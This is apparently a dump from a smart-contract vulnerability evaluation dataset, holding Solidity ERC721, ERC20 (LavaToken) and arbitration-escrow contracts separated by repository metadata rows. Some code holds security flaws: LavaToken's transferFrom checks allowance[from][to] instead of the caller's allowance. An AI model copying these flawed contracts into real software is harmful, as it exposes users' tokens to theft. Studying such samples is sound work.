event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
function supportsInterface(bytes4 _interfaceID) external constant returns (bool);
}
// File: contracts/libs/ERC721Metadata.sol
/// @title The external contract that is responsible for generating metadata for the kitties,
/// it has one function that will return the data as bytes.
contract ERC721Metadata {
/// @dev Given a token Id, returns a byte array that is supposed to be converted into string.
function getMetadata(uint256 _tokenId, string) public constant returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
// File: contracts/libs/PaintingOwnership.sol
contract PaintingOwnership is BitpaintingBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "BitPaintings";
string public constant symbol = "BP";
ERC721Metadata public erc721Metadata;
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external constant returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
/// @dev Set the address of the sibling contract that tracks metadata.
/// CEO only.
function setMetadataAddress(address _contractAddress) public onlyOwner {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function _owns(address _claimant, uint256 _tokenId) internal constant returns (bool) {
return bitpaintingStorage.getPaintingOwner(_tokenId) == _claimant;
}
function balanceOf(address _owner) public constant returns (uint256 count) {
return bitpaintingStorage.getOwnershipTokenCount(_owner);
}
function _approve(uint256 _tokenId, address _approved) internal {
bitpaintingStorage.approve(_tokenId, _approved);
}
function _approvedFor(address _claimant, uint256 _tokenId)
internal constant returns (bool) {
return bitpaintingStorage.isApprovedFor(_tokenId, _claimant);
}
function transfer(address _to,
uint256 _tokenId)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to,
uint256 _tokenId)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from,
address _to,
uint256 _tokenId)
external whenNotPaused {
_transferFrom(_from, _to, _tokenId);
}
function _transferFrom(address _from,
address _to,
uint256 _tokenId)
internal
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public constant returns (uint) {
return bitpaintingStorage.paintingsCount();
}
function ownerOf(uint256 _tokenId)
external constant returns (address) {
return _ownerOf(_tokenId);
}
function _ownerOf(uint256 _tokenId)
internal constant returns (address) {
return bitpaintingStorage.getPaintingOwner(_tokenId);
}
function tokensOfOwner(address _owner)
external constant returns(uint256[]) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
}
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCats = totalSupply();
uint256 resultIndex = 0;
uint256 paintingId;
for (paintingId = 1; paintingId <= totalCats; paintingId++) {
if (bitpaintingStorage.getPaintingOwner(paintingId) == _owner) {
result[resultIndex] = paintingId;
resultIndex++;
}
}
return result;
}
/// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
function _memcpy(uint _dest, uint _src, uint _len) private constant {
// Copy word-length chunks while possible
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
// Copy remaining bytes
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
/// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>)
/// This method is licenced under the Apache License.
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private constant returns (string) {
var outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
/// @notice Returns a URI pointing to a metadata package for this token conforming to
/// ERC-721 (https://github.com/ethereum/EIPs/issues/721)
/// @param _tokenId The ID number of the Kitty whose metadata should be returned.
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external constant returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
function withdraw() external onlyOwner {
owner.transfer(this.balance);
}
}
// File: contracts/BitpaintingEditions.sol
contract BitpaintingEditions is PaintingOwnership, IEditions {
event EditionCreated(address creator,
uint parentId,
uint editionId,
uint8 parentSpeed);
function createEdition(uint _tokenId) external whenNotPaused {
address creator = msg.sender;
require(creator == _ownerOf(_tokenId));
require(bitpaintingStorage.isReady(_tokenId));
require(!bitpaintingStorage.hasEditionInProgress(_tokenId));
require(bitpaintingStorage.hasEmptyEditionSlots(_tokenId));
require(!bitpaintingStorage.isOnAuction(_tokenId));
bitpaintingStorage.createEditionMeta(_tokenId);
uint editionId = bitpaintingStorage.getOffsetIndex();
uint8 _generation =
bitpaintingStorage.getPaintingGeneration(_tokenId) + 1;
uint8 _speed = 10;
uint _artistId = bitpaintingStorage.getPaintingArtistId(_tokenId);
_createPainting(creator, editionId, _tokenId, _generation, _speed, _artistId, now + 1);
bitpaintingStorage.decreaseSpeed(_tokenId);
uint8 speed = bitpaintingStorage.getPaintingSpeed(_tokenId);
EditionCreated(creator, _tokenId, editionId, speed);
}
function pendingEditionsOf(address _of) public constant returns (uint[] tokens,
uint[] startedAt,
uint[] completedAt,
uint8[] currentCounts,
uint8[] limitCounts) {
uint tokenCount = totalSupply();
uint length = balanceOf(_of);
uint pointer;
tokens = new uint[](length);
startedAt = new uint[](length);
completedAt = new uint[](length);
currentCounts = new uint8[](length);
limitCounts = new uint8[](length);
for(uint index = 0; index < tokenCount; index++) {
uint tokenId = bitpaintingStorage.getPaintingIdAtIndex(index);
if (tokenId == 0) {
continue;
}
if (_ownerOf(tokenId) != _of) {
continue;
}
if (bitpaintingStorage.isReady(tokenId)) {
continue;
}
uint _startedAt;
uint _completedAt;
(,,_startedAt, _completedAt,,) = bitpaintingStorage.getPainting(tokenId);
uint8 _current;
uint8 _limit;
(_current, _limit) = counter(tokenId);
tokens[pointer] = tokenId;
startedAt[pointer] = _startedAt;
completedAt[pointer] = _completedAt;
currentCounts[pointer] = _current;
limitCounts[pointer] = _limit;
pointer++;
}
}
function counter(uint _tokenId) public
constant returns (uint8 current, uint8 limit) {
uint8 gen = bitpaintingStorage.getPaintingGeneration(_tokenId);
if (gen == 0) {
current = 1;
limit = 1;
} else {
uint original = bitpaintingStorage.getPaintingOriginal(_tokenId);
uint8[3] memory counts = bitpaintingStorage.getEditionsCount(original);
uint8[3] memory limits = bitpaintingStorage.getEditionLimits(original);
current = counts[gen - 1];
limit = limits[gen - 1];
}
}
function signature() external constant returns (uint _signature) {
return uint(keccak256("editions"));
}
}
| 144,857 | 13,505 |
17705f1cbd832448688c97de16875e10f7606713b50219305838897a18135dcc
| 17,543 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xd89c37fd7c0fa3b107b7e4a8731dd3aaec488954.sol
| 3,558 | 13,833 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ECRecovery {
function recover(bytes32 hash, bytes memory sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract RelayAuthorityInterface {
function getRelayAuthority() public returns (address);
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract LavaToken is ECRecovery{
using SafeMath for uint;
address constant public masterToken = 0xB6eD7644C69416d67B522e20bC294A9a9B405B31;
string public name = "Lava";
string public symbol = "LAVA";
uint8 public decimals = 8;
uint private _totalSupply;
event Approval(address indexed src, address indexed ext, uint amt);
event Transfer(address indexed src, address indexed dst, uint amt);
event Deposit(address indexed dst, uint amt);
event Withdrawal(address indexed src, uint amt);
mapping (address => uint) public balances;
mapping (address => mapping (address => uint)) public allowance;
mapping (bytes32 => uint256) public burnedSignatures;
struct LavaPacket {
string methodName; //approve, transfer, or a custom data byte32 for ApproveAndCall()
address relayAuthority; //either a contract or an account
address from; //the packet origin and signer
address to; //the recipient of tokens
address wallet; //this contract address
uint256 tokens; //the amount of tokens to give to the recipient
uint256 relayerRewardTokens; //the amount of tokens to give to msg.sender
uint256 expires; //the eth block number this packet expires at
uint256 nonce; //a random number to ensure that packet hashes are always unique (optional)
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string contractName,string version,uint256 chainId,address verifyingContract)");
function getLavaDomainTypehash() public pure returns (bytes32) {
return EIP712DOMAIN_TYPEHASH;
}
function getEIP712DomainHash(string memory contractName, string memory version, uint256 chainId, address verifyingContract) public pure returns (bytes32) {
return keccak256(abi.encode(EIP712DOMAIN_TYPEHASH,
keccak256(bytes(contractName)),
keccak256(bytes(version)),
chainId,
verifyingContract));
}
bytes32 constant LAVAPACKET_TYPEHASH = keccak256("LavaPacket(string methodName,address relayAuthority,address from,address to,address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce)");
function getLavaPacketTypehash() public pure returns (bytes32) {
return LAVAPACKET_TYPEHASH;
}
function getLavaPacketHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public pure returns (bytes32) {
return keccak256(abi.encode(LAVAPACKET_TYPEHASH,
keccak256(bytes(methodName)),
relayAuthority,
from,
to,
wallet,
tokens,
relayerRewardTokens,
expires,
nonce));
}
constructor() public {
}
function() external payable
{
revert();
}
function mutateTokens(address from, uint amount) public returns (bool)
{
require(amount >= 0);
require(ERC20Interface(masterToken).transferFrom(from, address(this), amount));
balances[from] = balances[from].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(this), from, amount);
return true;
}
function unmutateTokens(uint amount) public returns (bool)
{
address from = msg.sender;
require(amount >= 0);
balances[from] = balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(this), amount);
require(ERC20Interface(masterToken).transfer(from, amount));
return true;
}
//standard ERC20 method
function totalSupply() public view returns (uint) {
return _totalSupply;
}
//standard ERC20 method
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
//standard ERC20 method
function getAllowance(address owner, address spender) public view returns (uint)
{
return allowance[owner][spender];
}
//standard ERC20 method
function approve(address spender, uint tokens) public returns (bool success) {
allowance[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
//standard ERC20 method
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
//standard ERC20 method
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowance[from][to] = allowance[from][to].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function _giveRelayerReward(address from, address to, uint tokens) internal returns (bool success){
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function getLavaTypedDataHash(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce) public view returns (bytes32) {
// Note: we need to use `encodePacked` here instead of `encode`.
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
getEIP712DomainHash('Lava Wallet','1',1,address(this)),
getLavaPacketHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce)));
return digest;
}
function _tokenApprovalWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes32 sigHash, bytes memory signature) internal returns (bool success)
{
require(relayAuthority == address(0x0)
|| (!addressContainsContract(relayAuthority) && msg.sender == relayAuthority)
|| (addressContainsContract(relayAuthority) && msg.sender == RelayAuthorityInterface(relayAuthority).getRelayAuthority()));
address recoveredSignatureSigner = recover(sigHash,signature);
//make sure the signer is the depositor of the tokens
require(from == recoveredSignatureSigner);
//make sure this is the correct 'wallet' for this packet
require(address(this) == wallet);
//make sure the signature has not expired
require(block.number < expires);
uint previousBurnedSignatureValue = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x1; //spent
require(previousBurnedSignatureValue == 0x0);
//relayer reward tokens, has nothing to do with allowance
require(_giveRelayerReward(from, msg.sender, relayerRewardTokens));
//approve transfer of tokens
allowance[from][to] = tokens;
emit Approval(from, to, tokens);
return true;
}
function approveTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('approve',bytes(methodName)));
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
return true;
}
function transferTokensWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
require(bytesEqual('transfer',bytes(methodName)));
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
require(transferFrom(from, to, tokens));
return true;
}
function approveAndCallWithSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success) {
require(!bytesEqual('approve',bytes(methodName)) && !bytesEqual('transfer',bytes(methodName)));
//check to make sure that signature == ecrecover signature
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
require(_tokenApprovalWithSignature(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce,sigHash,signature));
_sendApproveAndCall(from,to,tokens,bytes(methodName));
return true;
}
function _sendApproveAndCall(address from, address to, uint tokens, bytes memory methodName) internal
{
ApproveAndCallFallBack(to).receiveApproval(from, tokens, address(this), bytes(methodName));
}
function burnSignature(string memory methodName, address relayAuthority,address from,address to, address wallet,uint256 tokens,uint256 relayerRewardTokens,uint256 expires,uint256 nonce, bytes memory signature) public returns (bool success)
{
bytes32 sigHash = getLavaTypedDataHash(methodName,relayAuthority,from,to,wallet,tokens,relayerRewardTokens,expires,nonce);
address recoveredSignatureSigner = recover(sigHash,signature);
//make sure the invalidator is the signer
require(recoveredSignatureSigner == from);
//only the original packet owner can burn signature, not a relay
require(from == msg.sender);
//make sure this signature has never been used
uint burnedSignature = burnedSignatures[sigHash];
burnedSignatures[sigHash] = 0x2; //invalidated
require(burnedSignature == 0x0);
return true;
}
function signatureHashBurnStatus(bytes32 digest) public view returns (uint)
{
return (burnedSignatures[digest]);
}
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public returns (bool success) {
require(token == masterToken);
require(mutateTokens(from, tokens));
return true;
}
function addressContainsContract(address _to) view internal returns (bool)
{
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly .
codeLength := extcodesize(_to)
}
return (codeLength>0);
}
function bytesEqual(bytes memory b1,bytes memory b2) pure internal returns (bool)
{
if(b1.length != b2.length) return false;
for (uint i=0; i<b1.length; i++) {
if(b1[i] != b2[i]) return false;
}
return true;
}
}
| 218,089 | 13,506 |
25ca9b0ca3900728ce958e879335be8eb4b7408de355eb04a436499fcf75110c
| 36,297 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/e2/e292522706271Ff07211cC18DBCa87364C9C921b_Feature.sol
| 5,307 | 21,374 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
bytes32 internal constant EIP712_DOMAIN_TYPEHASH =
keccak256(bytes("EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"));
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(string memory name, string memory version) internal initializer {
_setDomainSeperator(name, version);
}
function _setDomainSeperator(string memory name, string memory version) internal {
domainSeperator = keccak256(abi.encode(EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(version)),
address(this),
bytes32(getChainId())));
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash));
}
}
contract NativeMetaTransaction is EIP712Base {
bytes32 private constant META_TRANSACTION_TYPEHASH =
keccak256(bytes("MetaTransaction(uint256 nonce,address from,bytes functionSignature)"));
event MetaTransactionExecuted(address userAddress, address relayerAddress, bytes functionSignature);
mapping(address => uint256) nonces;
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match");
// increase nonce for user (to avoid re-use)
uint256 noncesByUser = nonces[userAddress];
require(noncesByUser + 1 >= noncesByUser, "Must be not an overflow");
nonces[userAddress] = noncesByUser + 1;
emit MetaTransactionExecuted(userAddress, msg.sender, functionSignature);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(abi.encodePacked(functionSignature, userAddress));
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) {
return
keccak256(abi.encode(META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature)));
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return signer == ecrecover(toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS);
}
}
contract ChainConstants {
string public constant ERC712_VERSION = "1";
uint256 public constant ROOT_CHAIN_ID = 1;
bytes public constant ROOT_CHAIN_ID_BYTES = hex"01";
uint256 public constant CHILD_CHAIN_ID = 42161;
bytes public constant CHILD_CHAIN_ID_BYTES = hex"a4b1";
}
abstract contract ContextMixin {
function msgSender() internal view returns (address sender) {
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
} else {
sender = msg.sender;
}
return sender;
}
}
interface IArbitrable {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
abstract contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData; // Extra data to require particular dispute and appeal behaviour.
modifier onlyArbitrator() {
require(msg.sender == address(arbitrator), "Can only be called by the arbitrator.");
_;
}
constructor(Arbitrator _arbitrator, bytes storage _arbitratorExtraData) {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint256 _disputeID, uint256 _ruling) external override onlyArbitrator {
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(_disputeID, _ruling);
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal virtual;
}
abstract contract Arbitrator {
enum DisputeStatus {
Waiting,
Appealable,
Solved
}
modifier requireArbitrationFee(bytes calldata _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint256 _disputeID, bytes calldata _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData)
public
payable
requireArbitrationFee(_extraData)
returns (uint256 disputeID)
{}
function arbitrationCost(bytes calldata _extraData) public view virtual returns (uint256 fee);
function appeal(uint256 _disputeID, bytes calldata _extraData)
public
payable
requireAppealFee(_disputeID, _extraData)
{
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint256 _disputeID, bytes calldata _extraData) public view virtual returns (uint256 fee);
function appealPeriod(uint256 _disputeID) public view virtual returns (uint256 start, uint256 end) {}
function disputeStatus(uint256 _disputeID) public view virtual returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) public view virtual returns (uint256 ruling);
}
contract Feature is Initializable, NativeMetaTransaction, ChainConstants, ContextMixin, IArbitrable {
// **************************** //
// * Contract variables * //
// **************************** //
// Amount of choices to solve the dispute if needed.
uint8 constant AMOUNT_OF_CHOICES = 2;
// Enum relative to different periods in the case of a negotiation or dispute.
enum Status {
WaitingForChallenger,
DisputeCreated,
Resolved
}
// The different parties of the dispute.
enum Party {
Receiver,
Challenger
}
// The different ruling for the dispute resolution.
enum RulingOptions {
NoRuling,
ReceiverWins,
ChallengerWins
}
struct Transaction {
address sender;
Arbitrator arbitrator; // The arbitrator of the contract.
bytes arbitratorExtraData; // Extra data for the arbitrator.
uint256 amount; // Amount of the reward in Wei.
uint256 deposit; // Amount of the deposit in Wei.
uint256 timeoutPayment; // Time in seconds after which the transaction can be executed if not disputed.
uint256 delayClaim; // Time of the challenge period.
string metaEvidence; // Link to the meta-evidence.
uint256 runningClaimCount; // Count of running claims.
bool isExecuted;
}
struct Claim {
uint256 transactionID; // Relation one-to-one with the transaction.
address receiver; // Address of the receiver.
address challenger; // Address of the challenger.
string proof; // Link to the proof.
uint256 timeoutClaim; // Time of the outdated challenge period.
uint256 receiverFee; // Total fees paid by the receiver.
uint256 challengerFee; // Total fees paid by the challenge.
uint256 disputeID; // If dispute exists, the ID of the dispute.
Status status; // Status of the the dispute.
}
Transaction[] public transactions;
Claim[] public claims;
mapping(uint256 => uint256) public disputeIDtoClaimID; // One-to-one relationship between the dispute and the claim.
// **************************** //
// * Events * //
// **************************** //
event Payment(uint256 indexed _transactionID, uint256 _amount, address _receiver);
event Refund(uint256 indexed _transactionID, uint256 _amount, address _party);
event ClaimSubmit(uint256 indexed _transactionID, uint256 _claimID, address _receiver);
event HasToPayFee(uint256 indexed _transactionID, Party _party);
// **************************** //
// * Contract functions * //
// * Modifying the state * //
// **************************** //
function initialize() public initializer {
_initializeEIP712("Feature", ERC712_VERSION);
}
// This is to support Native meta transactions
// never use msg.sender directly, use _msgSender() instead
function _msgSender() internal view returns (address sender) {
return ContextMixin.msgSender();
}
function createTransaction(Arbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _deposit,
uint256 _timeoutPayment,
uint256 _delayClaim,
string memory _metaEvidence) public payable returns (uint256 transactionID) {
transactions.push(Transaction({
sender: _msgSender(),
arbitrator: _arbitrator,
arbitratorExtraData: _arbitratorExtraData,
amount: msg.value, // Put the amount of the transaction to the smart vault.
deposit: _deposit,
timeoutPayment: _timeoutPayment + block.timestamp,
delayClaim: _delayClaim,
metaEvidence: _metaEvidence,
runningClaimCount: 0,
isExecuted: false
}));
// Store the meta-evidence.
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function claim(uint256 _transactionID, string memory _proof) public payable returns (uint256 claimID) {
return _claimFor(_transactionID, _msgSender(), _proof);
}
function claimFor(uint256 _transactionID, address _receiver, string memory _proof) public payable returns (uint256 claimID) {
return _claimFor(_transactionID, _receiver, _proof);
}
function _claimFor(uint256 _transactionID, address _receiver, string memory _proof) internal returns (uint256 claimID) {
Transaction storage transaction = transactions[_transactionID];
uint256 arbitrationCost = transaction.arbitrator.arbitrationCost(transaction.arbitratorExtraData);
require(msg.value >= transaction.deposit + arbitrationCost,
"The challenger fee must cover the deposit and the arbitration costs.");
claims.push(Claim({
transactionID: _transactionID,
receiver: _receiver,
challenger: address(0),
proof: _proof,
timeoutClaim: transaction.delayClaim + block.timestamp,
receiverFee: arbitrationCost,
challengerFee: 0,
disputeID: 0,
status: Status.WaitingForChallenger
}));
claimID = claims.length - 1;
transaction.runningClaimCount++;
emit ClaimSubmit(_transactionID, claimID, _receiver);
return claimID;
}
function pay(uint256 _claimID) public {
Claim storage claim = claims[_claimID];
Transaction storage transaction = transactions[claim.transactionID];
require(transaction.isExecuted == false, "The transaction should not be executed.");
require(claim.timeoutClaim <= block.timestamp, "The timeout claim should be passed.");
